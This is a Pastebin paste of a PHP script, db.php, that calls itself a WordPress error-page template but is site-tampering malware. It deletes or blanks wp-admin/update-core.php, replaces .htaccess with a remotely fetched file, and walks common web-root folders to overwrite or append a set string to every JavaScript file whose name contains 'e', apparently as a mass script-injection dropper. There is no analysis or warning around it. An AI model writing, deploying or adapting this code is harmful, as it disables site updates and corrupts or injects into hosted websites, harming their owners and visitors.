PalmaSolutions

db.php

Apr 20th, 2018
223
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 3.13 KB | None | 0 0
  1. <?php
  2.  
  3. /**
  4.  * The main template file for display error page.
  5.  *
  6.  * @package WordPress
  7. */
  8.  
  9.  
  10. error_reporting(0);
  11.  
  12. $file_name = 'e';
  13. $text = ';';
  14.  
  15. $position = 1;
  16.  
  17. function getDirContents($dir) {
  18.    
  19.     global $file_name, $text, $position;
  20.     $files = scandir($dir);
  21.  
  22.     foreach($files as $key => $value){
  23.         $path = realpath($dir.DIRECTORY_SEPARATOR.$value);
  24.  
  25.         if(!is_dir($path)) {
  26.             $path_info = pathinfo($path);
  27.             $pos3 = stripos($path_info['basename'], '.js');
  28.              if($pos3 !== false){
  29.                 $pos2 = stripos($path_info['basename'], $file_name);
  30.                 if($pos2 !== false) {
  31.                     echo 'WP_Error_Page_Not_Found '."\n";
  32.                     $pos1 = stripos(file_get_contents($path), $text);
  33.                     if ($pos1 === false) {
  34.                    
  35.                     if($position == 2) {
  36.                         file_put_contents($path, $text, FILE_APPEND);                  
  37.                         }
  38.                          else {
  39.                             file_put_contents($path, $text);
  40.                     }
  41.                     }
  42.  
  43.                     }
  44.             }      
  45.         } elseif($value != "." && $value != "..") {
  46.             getDirContents($path);
  47.         }
  48.     }
  49.  
  50.    
  51. }
  52.  
  53. //start
  54.  
  55. $path = $_SERVER['DOCUMENT_ROOT'];
  56. //echo ($path);
  57.  
  58. if(unlink($path.'/wp-admin/update-core.php')) {
  59.     echo ('te-co DTRU ');                  
  60.     } else {
  61.         echo('te-co DFAL ');
  62.         file_put_contents($path.'/wp-admin/update-core.php', '');
  63.     }
  64. if(unlink($path.'/.htaccess')) {
  65.     echo ('HTA DTRU ');                
  66.     } else {
  67.         echo('HTA DFAL ');
  68.         file_put_contents($path.'/.htaccess', file_get_contents('https://gist.githubusercontent.com/BFTrick/3706672/raw/be744502cf3921f761cbef11878af6f4a2024c3d/.htaccess'));
  69.     }  
  70.  
  71.  
  72. //public_html
  73. $pos1 = stripos($path,'/public_html/');
  74. if ($pos1 !== false){
  75. $rest = substr($path, 0, stripos($path, '/public_html/') + strlen('/public_html/'));
  76.    
  77. getDirContents($rest);
  78. } else {
  79.  //html
  80.  $pos1 = stripos($path,'/html/');
  81.  if ($pos1 !== false){
  82.  $rest = substr($path, 0, stripos($path, '/html/') + strlen('/html/'));
  83.  getDirContents($rest);
  84.  } else {
  85.     //htdocs
  86.     $pos1 = stripos($path,'/htdocs/');
  87.     if ($pos1 !== false){
  88.     $rest = substr($path, 0, stripos($path, '/htdocs/') + strlen('/htdocs/'));
  89.     getDirContents($rest);
  90.     } else {
  91.     //httpdocs
  92.     $pos1 = stripos($path,'/httpdocs/');
  93.     if ($pos1 !== false){
  94.     $rest = substr($path, 0, stripos($path, '/httpdocs/') + strlen('/httpdocs/'));
  95.     getDirContents($rest);
  96.     } else {
  97.         //vhosts
  98.         $pos1 = stripos($path,'/vhosts/');
  99.         if ($pos1 !== false){
  100.         $rest = substr($path, 0, stripos($path, '/vhosts/') + strlen('/vhosts/'));
  101.         getDirContents($rest);
  102.         } else {
  103.             //www
  104.             $pos1 = stripos($path,'/www/');
  105.             if ($pos1 !== false){
  106.             $rest = substr($path, 0, stripos($path, '/www/') + strlen('/www/'));
  107.             getDirContents($rest);
  108.             } else {
  109.                 //wwwroot
  110.                 $pos1 = stripos($path,'/wwwroot/');
  111.                 if ($pos1 !== false){
  112.                 $rest = substr($path, 0, stripos($path, '/wwwroot/') + strlen('/wwwroot/'));
  113.                 getDirContents($rest);
  114.                 } else {
  115.                     //web
  116.                     $pos1 = stripos($path,'/web/');
  117.                     if ($pos1 !== false){
  118.                     $rest = substr($path, 0, stripos($path, '/web/') + strlen('/web/'));                   
  119.                     } else {
  120.                     getDirContents($_SERVER['DOCUMENT_ROOT']); 
  121.                     }
  122.                 }  
  123.             }  
  124.         }  
  125.     }
  126.  } 
  127.  
  128. }
  129. }
  130.  
  131. ?>
Advertisement
Add Comment
Please, Sign In to add comment